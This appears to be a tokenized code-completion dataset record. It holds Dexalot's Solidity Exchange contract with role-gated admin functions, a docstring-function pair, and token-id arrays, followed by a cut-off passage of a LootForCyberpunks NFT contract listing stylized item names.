-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.3;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "./library/Bytes32Library.sol";
import "./library/StringLibrary.sol";
import "./interfaces/IPortfolio.sol";
import "./interfaces/ITradePairs.sol";
/**
* @author "DEXALOT TEAM"
* @title "The Exchange contract is the main entry point to DEXALOT Decentralized Exchange Trading."
*
* @dev Start up order:
* @dev 1. Deploy contracts: Exchange, Portfolio, OrderBooks, TradePairs
* @dev 2. Call addTradePairs on Exchange
* @dev 3. Call setPortfolio and setTradePairs on Exchange
* @dev 4. Change ownership of contracts as per below
* @dev 5. Call addToken on Exchange to add supported ERC20 tokens to Portfolio
*
* @dev "During deployment the ownerships of contracts are changed so they become as follows once DEXALOT is fully deployed:"
* @dev "Exchange is owned by proxyAdmin."
* @dev "Portfolio contract is owned by exchange contract."
* @dev "TradePairs contract is owned by exchange contract."
* @dev "OrderBooks contract is owned by TradePairs contract."
* @dev "Only tradepairs can internally call addExecution and adjustAvailable functions."
* @dev "Only valid trader accounts can call deposit and withdraw functions for their own accounts."
*/
contract Exchange is Initializable, AccessControlEnumerableUpgradeable {
using SafeERC20Upgradeable for IERC20MetadataUpgradeable;
using StringLibrary for string;
using Bytes32Library for bytes32;
// version
bytes32 constant public VERSION = bytes32('1.1.0');
// map and array of all trading pairs on DEXALOT
ITradePairs private tradePairs;
// portfolio reference
IPortfolio private portfolio;
event PortfolioSet(IPortfolio _oldPortfolio, IPortfolio _newPortfolio);
event TradePairsSet(ITradePairs _oldTradePairs, ITradePairs _newTradePairs);
function initialize() public initializer {
__AccessControl_init();
// intitialize the admins
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender); // set deployment account to have DEFAULT_ADMIN_ROLE
}
function owner() public view returns(address) {
return getRoleMember(DEFAULT_ADMIN_ROLE, 0);
}
function addAdmin(address _address) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-01");
grantRole(DEFAULT_ADMIN_ROLE, _address);
}
function removeAdmin(address _address) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-02");
require(getRoleMemberCount(DEFAULT_ADMIN_ROLE)>1, "E-ALOA-01");
revokeRole(DEFAULT_ADMIN_ROLE, _address);
}
function isAdmin(address _address) public view returns(bool) {
return hasRole(DEFAULT_ADMIN_ROLE, _address);
}
// FRONTEND FUNCTION TO GET A LIST OF TRADE PAIRS
function getTradePairs() public view returns(bytes32[] memory) {
return tradePairs.getTradePairs();
}
// DEPLOYMENT ACCOUNT FUNCTION TO UPDATE FEE RATES FOR DEPOSIT AND WITHDRAW
function updateTransferFeeRate(uint _rate, IPortfolio.Tx _rateType) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-03");
portfolio.updateTransferFeeRate(_rate, _rateType);
}
// DEPLOYMENT ACCOUNT FUNCTION TO UPDATE FEE RATE EXECUTIONS
function updateRate(bytes32 _tradePair, uint _rate, ITradePairs.RateType _rateType) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-04");
tradePairs.updateRate(_tradePair, _rate, _rateType);
}
// DEPLOYMENT ACCOUNT FUNCTION TO GET MAKER FEE RATE
function getMakerRate(bytes32 _tradePairId) public view returns (uint) {
return tradePairs.getMakerRate(_tradePairId);
}
// DEPLOYMENT ACCOUNT FUNCTION TO GET TAKER FEE RATE
function getTakerRate(bytes32 _tradePairId) public view returns (uint) {
return tradePairs.getTakerRate(_tradePairId);
}
// DEPLOYMENT ACCOUNT FUNCTION TO SET PORTFOLIO FOR THE EXCHANGE
function setPortfolio(IPortfolio _portfolio) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-05");
emit PortfolioSet(portfolio, _portfolio);
portfolio = _portfolio;
}
// FRONTEND FUNCTION TO GET PORTFOLIO
function getPortfolio() public view returns(IPortfolio) {
return portfolio;
}
// DEPLOYMENT ACCOUNT FUNCTION TO SET TRADEPAIRS FOR THE EXCHANGE
function setTradePairs(ITradePairs _tradePairs) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-06");
emit TradePairsSet(tradePairs, _tradePairs);
tradePairs = _tradePairs;
}
// FRONTEND FUNCTION TO GET TRADEPAIRS
function getTradePairsAddr() public view returns(ITradePairs) {
return tradePairs;
}
// DEPLOYMENT ACCOUNT FUNCTION TO ADD A NEW TRADEPAIR
function addTradePair(bytes32 _tradePairId,
address _baseAssetAddr, uint8 _baseDisplayDecimals,
address _quoteAssetAddr, uint8 _quoteDisplayDecimals,
uint _minTradeAmount, uint _maxTradeAmount)
public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-07");
(bytes32 _baseAssetSymbol, uint8 _baseAssetDecimals) = getAssetMeta(_baseAssetAddr);
(bytes32 _quoteAssetSymbol, uint8 _quoteAssetDecimals) = getAssetMeta(_quoteAssetAddr);
// check if base asset is native AVAX, if not it is ERC20 and add it
if (_baseAssetSymbol != bytes32("AVAX")) {
portfolio.addToken(_baseAssetSymbol, IERC20MetadataUpgradeable(_baseAssetAddr));
}
// check if quote asset is native AVAX, if not it is ERC20 and add it
if (_quoteAssetSymbol != bytes32("AVAX")) {
portfolio.addToken(_quoteAssetSymbol, IERC20MetadataUpgradeable(_quoteAssetAddr));
}
tradePairs.addTradePair(_tradePairId,
_baseAssetSymbol, _baseAssetDecimals, _baseDisplayDecimals,
_quoteAssetSymbol, _quoteAssetDecimals, _quoteDisplayDecimals,
_minTradeAmount, _maxTradeAmount);
}
function getAssetMeta(address _assetAddr) private view returns (bytes32 _symbol, uint8 _decimals) {
if (_assetAddr == address(0)) {
return (bytes32("AVAX"), 18);
} else {
IERC20MetadataUpgradeable _asset = IERC20MetadataUpgradeable(_assetAddr);
return (StringLibrary.stringToBytes32(_asset.symbol()), _asset.decimals());
}
}
// DEPLOYMENT ACCOUNT FUNCTION TO PAUSE AND UNPAUSE THE PORTFOLIO CONTRACT - AFFECTS ALL DEPOSIT AND WITHDRAW FUNCTIONS
function pausePortfolio(bool _paused) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-08");
if (_paused) {
portfolio.pause();
} else {
portfolio.unpause();
}
}
// DEPLOYMENT ACCOUNT FUNCTION TO DISABLE ONLY DEPOSIT FUNCTIONS
function pauseDeposit(bool _paused) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-09");
portfolio.pauseDeposit(_paused);
}
// DEPLOYMENT ACCOUNT FUNCTION TO PAUSE AND UNPAUSE THE TRADEPAIRS CONTRACT
// AFFECTS BOTH ADDORDER AND CANCELORDER FUNCTIONS FOR ALL TRADE PAIRS
function pauseTrading(bool _tradingPaused) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-10");
if (_tradingPaused) {
tradePairs.pause();
} else {
tradePairs.unpause();
}
}
// DEPLOYMENT ACCOUNT FUNCTION TO PAUSE AND UNPAUSE THE TRADEPAIRS CONTRACT
// AFFECTS BOTH ADDORDER AND CANCELORDER FUNCTIONS FOR A SELECTED TRADE PAIR
function pauseTradePair(bytes32 _tradePairId, bool _tradePairPaused) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-11");
tradePairs.pauseTradePair(_tradePairId, _tradePairPaused);
}
// DEPLOYMENT ACCOUNT FUNCTION TO DISABLE ONLY ADDORDER FUNCTION FOR A TRADEPAIR
function pauseAddOrder(bytes32 _tradePairId, bool _addOrderPaused) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-12");
tradePairs.pauseAddOrder(_tradePairId, _addOrderPaused);
}
// DEPLOYMENT ACCOUNT FUNCTION TO ADD AN ORDER TYPE TO A TRADEPAIR
function addOrderType(bytes32 _tradePairId, ITradePairs.Type1 _type) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-13");
tradePairs.addOrderType(_tradePairId, _type);
}
// DEPLOYMENT ACCOUNT FUNCTION TO REMOVE AN ORDER TYPE FROM A TRADEPAIR
function removeOrderType(bytes32 _tradePairId, ITradePairs.Type1 _type) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-14");
tradePairs.removeOrderType(_tradePairId, _type);
}
// DEPLOYMENT ACCOUNT FUNCTION TO SET MIN TRADE AMOUNT FOR A TRADEPAIR
function setMinTradeAmount(bytes32 _tradePairId, uint _minTradeAmount) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-15");
tradePairs.setMinTradeAmount(_tradePairId, _minTradeAmount);
}
// FRONTEND FUNCTION TO GET MIN TRADE AMOUNT
function getMinTradeAmount(bytes32 _tradePairId) public view returns (uint) {
return tradePairs.getMinTradeAmount(_tradePairId);
}
// DEPLOYMENT ACCOUNT FUNCTION TO SET MAX TRADE AMOUNT FOR A TRADEPAIR
function setMaxTradeAmount(bytes32 _tradePairId, uint _maxTradeAmount) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-16");
tradePairs.setMaxTradeAmount(_tradePairId, _maxTradeAmount);
}
// FRONTEND FUNCTION TO GET MAX TRADE AMOUNT
function getMaxTradeAmount(bytes32 _tradePairId) public view returns (uint) {
return tradePairs.getMaxTradeAmount(_tradePairId);
}
// FRONTEND FUNCTION TO SET DISPLAY DECIMALS
function setDisplayDecimals(bytes32 _tradePairId, uint8 _displayDecimals, bool _isBase) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-17");
tradePairs.setDisplayDecimals(_tradePairId, _displayDecimals, _isBase);
}
// FRONTEND FUNCTION TO GET DISPLAY DECIMALS
function getDisplayDecimals(bytes32 _tradePairId, bool _isBase) public view returns(uint8) {
return tradePairs.getDisplayDecimals(_tradePairId, _isBase);
}
// FRONTEND FUNCTION TO GET DECIMALS
function getDecimals(bytes32 _tradePairId, bool _isBase) public view returns(uint8) {
return tradePairs.getDecimals(_tradePairId, _isBase);
}
// FRONTEND FUNCTION TO GET DECIMALS
function getSymbol(bytes32 _tradePairId, bool _isBase) public view returns(bytes32) {
return tradePairs.getSymbol(_tradePairId, _isBase);
}
// DEPLOYMENT ACCOUNT FUNCTION TO SET ALLOWED SLIPPAGE PERCENT
function setAllowedSlippagePercent(bytes32 _tradePairId, uint8 _allowedSlippagePercent) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-18");
tradePairs.setAllowedSlippagePercent(_tradePairId, _allowedSlippagePercent);
}
// DEPLOYMENT ACCOUNT FUNCTION TO GET ALLOWED SLIPPAGE PERCENT
function getAllowedSlippagePercent(bytes32 _tradePairId) public view returns (uint8) {
return tradePairs.getAllowedSlippagePercent(_tradePairId);
}
// DEPLOYMENT ACCOUNT FUNCTION TO ADD A NEW TOKEN
// NEEDS TO BE CALLED ONLY AFTER PORTFOLIO IS SET FOR EXCHANGE AND PORTFOLIO OWNERSHIP IS CHANGED TO EXCHANGE
function addToken(bytes32 _symbol, IERC20Upgradeable _token) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-19");
portfolio.addToken(_symbol, _token);
}
fallback() external {}
// utility function to convert string to bytes32
function stringToBytes32(string memory _string) public pure returns (bytes32 result) {
return _string.stringToBytes32();
}
// utility function to convert bytes32 to string
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
return _bytes32.bytes32ToString();
}
}
|
FRONTEND FUNCTION TO SET DISPLAY DECIMALS
|
function setDisplayDecimals(bytes32 _tradePairId, uint8 _displayDecimals, bool _isBase) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "E-OACC-17");
tradePairs.setDisplayDecimals(_tradePairId, _displayDecimals, _isBase);
}
| 1,840,883 |
[
1,
4625,
348,
7953,
560,
30,
225,
14583,
10079,
4415,
13690,
8493,
7855,
25214,
25429,
55,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
23512,
31809,
12,
3890,
1578,
389,
20077,
4154,
548,
16,
2254,
28,
389,
5417,
31809,
16,
1426,
389,
291,
2171,
13,
1071,
288,
203,
3639,
2583,
12,
5332,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
1234,
18,
15330,
3631,
315,
41,
17,
51,
31414,
17,
4033,
8863,
203,
3639,
18542,
10409,
18,
542,
4236,
31809,
24899,
20077,
4154,
548,
16,
389,
5417,
31809,
16,
389,
291,
2171,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xB600Ac3Ffd03C03C1Cd3bb0514d2440DB767066d/sources/contracts/LootForCyberpunks.sol
|
Loot ContractSynthetic Loot Contract
|
contract LootForCyberpunks is ERC721Enumerable, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
uint256 public constant MAX_SYNTHETIC_ITEMS = 2000;
Counters.Counter private _syntheticItemsTracker;
Counters.Counter private _originItemsTracker;
address public lootAddress;
LootInterface lootContract;
address public syntheticLootAddress;
SyntheticLootInterface syntheticLootContract;
address public multisigAddress;
event CreateLoot(uint256 indexed id);
string[] private weapons = [
unicode"Ȧ̶nt̵i-Matter Bo̶mb",
unicode"Bla̸ck Sh̶̽ur̶̐iken",
unicode"Vi̷͛brating ̴Bo̷͆x Cutte̶̤̊r",
unicode"Poc̷͝ket ̴Inc̶̒ineratỏ̴͈r",
unicode"Deat̷h̴̽ Ray"
];
string[] private chestArmor = [
unicode"H̵̒az̷̧͐m̵at Ś̷̠uit",
unicode"T̸itan̶iu̴m̶ ̶Bra̷",
unicode"Vis̷ce̵ra Win̷d̴̦̽o̴w",
unicode"S̴yn-Lung̷s̴"
];
string[] private headArmor = [
unicode"Mech̵̑atron̵i̴͌c Cor̶̥̽e",
unicode"Seco̴̺̽nd He̷̚a̴̎d",
unicode"M̵F̷ D̴͝ͅOOM̷̚ Ma̵̦̅sk",
unicode"Syn̵t̵̀h̴etic Moh̵̿aw̷͌k̵̈́",
unicode"5D Ho̴logr̵͌aph̵ic Pr̶̪͛ojec̵t̴ion "
];
string[] private waistArmor = [
unicode"Poly̸͝carboṅ̴ate Utȋ̷lity P̴͠ants",
unicode"Nanowë̶́ave̶̾ Hotp̵̊an̵ts",
unicode"Kevlar̴̽ F̷̐anny-Pac̷k",
unicode"Antig̷rav H̴͂ula-h̴̦͗oop",
unicode"Ouro̴͆bor̴ö̸́s",
unicode"S̸̭̏word̵belt"
];
string[] private footArmor = [
unicode"A̸̽nti-Ch̵em̸ B̴o̵o̴ts",
unicode"Ẃ̶͝arts",
unicode"Tan̵͝k̷͘ T̴r̷eads",
unicode"Metal̸ A̶nkles"
];
string[] private handArmor = [
unicode"B̴lo̷͓̅od̵ Pu̷mp",
unicode"Tita̵͖̽n̴i̴͒um Fin̵gers",
unicode"N̵in̷tendo Powe̷rglove̷̽",
unicode"Un̷ivers̵al D̴͖̈́ongle̶̽",
unicode"Pin̵͋k̴ Plaš̶tic Cl̴aws",
unicode"Cy̷b͓̿e̵rp̴u̟n̫͝ḱ̤ṣ̈́",
unicode"Blä̴́des of th̴̯̓e F̷̈́o̵rest"
];
string[] private necklaces = [
unicode"Cy̷b͓̿e̵rp̴u̟n̫͝ḱ̤ṣ̈́"
unicode"Koi̵ Tatt̴̽o̷o",
unicode"Â̶uxiliary Breat̴̝̽hing Ho̵̅le",
